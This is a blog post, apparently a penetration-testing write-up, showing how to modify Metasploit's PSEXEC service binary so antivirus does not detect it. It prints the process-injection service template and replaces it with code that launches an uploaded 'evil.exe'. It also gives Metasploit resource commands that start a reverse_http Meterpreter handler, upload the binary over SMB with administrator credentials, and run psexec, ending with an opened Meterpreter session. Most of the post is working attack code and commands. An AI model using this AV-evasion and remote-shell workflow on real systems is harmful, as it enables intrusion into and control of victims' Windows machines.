@jabjorkhaug posed the following question on Twitter today:
I figured I could solve this and it would be an interesting challenge. Here is what it gets detected as:
The service binary that is used as part of PSEXEC is located here:
MSF Directory/data/templates/src/pe/exe/service/service.c
The important part to look at starts at line 57:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define PAYLOAD_SIZE 8192
char cServiceName [ 32 ] = "SERVICENAME" ;
char bPayload [ PAYLOAD_SIZE ] = "PAYLOAD:" ;
SERVICE_STATUS ss ;
SERVICE_STATUS_HANDLE hStatus = NULL ;
/*
*
*/
BOOL ServiceHandler ( DWORD dwControl )
{
if ( dwControl == SERVICE_CONTROL_STOP || dwControl == SERVICE_CONTROL_SHUTDOWN )
{
ss . dwWin32ExitCode = 0 ;
ss . dwCurrentState = SERVICE_STOPPED ;
}
return SetServiceStatus ( hStatus , & ss );
}
/*
*
*/
VOID ServiceMain ( DWORD dwNumServicesArgs , LPSTR * lpServiceArgVectors )
{
CONTEXT Context ;
STARTUPINFO si ;
PROCESS_INFORMATION pi ;
LPVOID lpPayload = NULL ;
ZeroMemory ( & ss , sizeof ( SERVICE_STATUS ) );
ZeroMemory ( & si , sizeof ( STARTUPINFO ) );
ZeroMemory ( & pi , sizeof ( PROCESS_INFORMATION ) );
si . cb = sizeof ( STARTUPINFO );
ss . dwServiceType = SERVICE_WIN32_SHARE_PROCESS ;
ss . dwCurrentState = SERVICE_START_PENDING ;
ss . dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN ;
hStatus = RegisterServiceCtrlHandler ( ( LPCSTR ) & cServiceName , ( LPHANDLER_FUNCTION ) ServiceHandler );
if ( hStatus )
{
ss . dwCurrentState = SERVICE_RUNNING ;
SetServiceStatus ( hStatus , & ss );
if ( CreateProcess ( NULL , "rundll32.exe" , NULL , NULL , FALSE , CREATE_SUSPENDED , NULL , NULL , & si , & pi ) )
{
Context . ContextFlags = CONTEXT_FULL ;
GetThreadContext ( pi . hThread , & Context );
lpPayload = VirtualAllocEx ( pi . hProcess , NULL , PAYLOAD_SIZE , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE );
if ( lpPayload )
{
WriteProcessMemory ( pi . hProcess , lpPayload , & bPayload , PAYLOAD_SIZE , NULL );
#ifdef _WIN64
Context . Rip = ( DWORD64 ) lpPayload ;
#else
Context . Eip = ( DWORD ) lpPayload ;
#endif
SetThreadContext ( pi . hThread , & Context );
}
ResumeThread ( pi . hThread );
CloseHandle ( pi . hThread );
CloseHandle ( pi . hProcess );
}
ServiceHandler ( SERVICE_CONTROL_STOP );
ExitProcess ( 0 );
}
}
/*
*
*/
int __stdcall WinMain ( HINSTANCE hInstance , HINSTANCE hPrevInstance , LPSTR lpCmdLine , int nCmdShow )
{
SERVICE_TABLE_ENTRY st [] =
{
{ ( LPSTR ) & cServiceName , ( LPSERVICE_MAIN_FUNCTIONA ) & ServiceMain },
{ NULL , NULL }
};
return StartServiceCtrlDispatcher ( ( SERVICE_TABLE_ENTRY * ) & st );
}
It’s injecting our payload into the service binary and tossing our payload into “rundll32.exe” at run time on the victim (side note: you can change which bin it goes into ;). Lets change this so it doesn’t do any injection and just executes a binary. That removes the ‘injection’ piece and hopefully lets us get our shell. We are loosing a bit of stealth because instead of just one (the service binary) we are writing two binaries.
To make this change you replace the above with just this:
1
2
3
4
if ( CreateProcess ( NULL , "C:\evil.exe" , NULL , NULL , FALSE , DETACHED_PROCESS , NULL , NULL , & si , & pi ) )
{
CloseHandle ( pi . hProcess );
}
Compiling this on OSX using mingw is very easy and is very similar on Ubuntu if you have mingw installed:
1
i386 - mingw32 - gcc - o service . exe service . c
Then just copy it to replace the current one:
1
cp service . exe .. / .. / .. / .. / template_x86_windows_svc . exe
No other changes are needed. Only problem is, how do we get the “evil.exe” up onto the box for it to execute? That’s where the auxiliary module “auxiliary/admin/smb/upload_file” comes in :–) I built a resource file to demo the timeline of getting execution with this new service binary (broken up with comments to explain, remove the comments for it to work ):
Start Multi Handler
1
2
3
4
5
6
use multi / handler
set PAYLOAD windows / meterpreter / reverse_http
set LHOST 172.16.195.1
set LPORT 80
set ExitOnSession false
exploit - j - z
Upload file to evil.exe on the C$ share (C$ is default for this module so no reason to set it)
1
2
3
4
5
6
7
use auxiliary / admin / smb / upload_file
set LPATH evil . exe
set RPATH evil . exe
set RHOST 172.16.195.155
set SMBUser Administrator
set SMBPass Password1234 !
run
Execute PSEXEC using the new service binary that simply executes
1
2
3
4
5
6
7
8
9
use exploit / windows / smb / psexec
set RHOST 172.16.195.155
set SMBUser Administrator
set SMBPass Password1234 !
set DisablePayloadHandler true
set PAYLOAD windows / meterpreter / reverse_http
set LHOST 172.16.195.1
set LPORT 80
exploit - j - z
The passwords could have just as easily been hashes, and the end result is:
Well I can’t really show you that nothing was detected… so I guess you just have to believe me when I say:
1
[ * ] Meterpreter session 2 opened ( 172.16.195.1 : 80 -> 172.16.195.155 : 49169 ) at Wed Jul 04 16 : 02 : 23 - 0400 2012
w00t!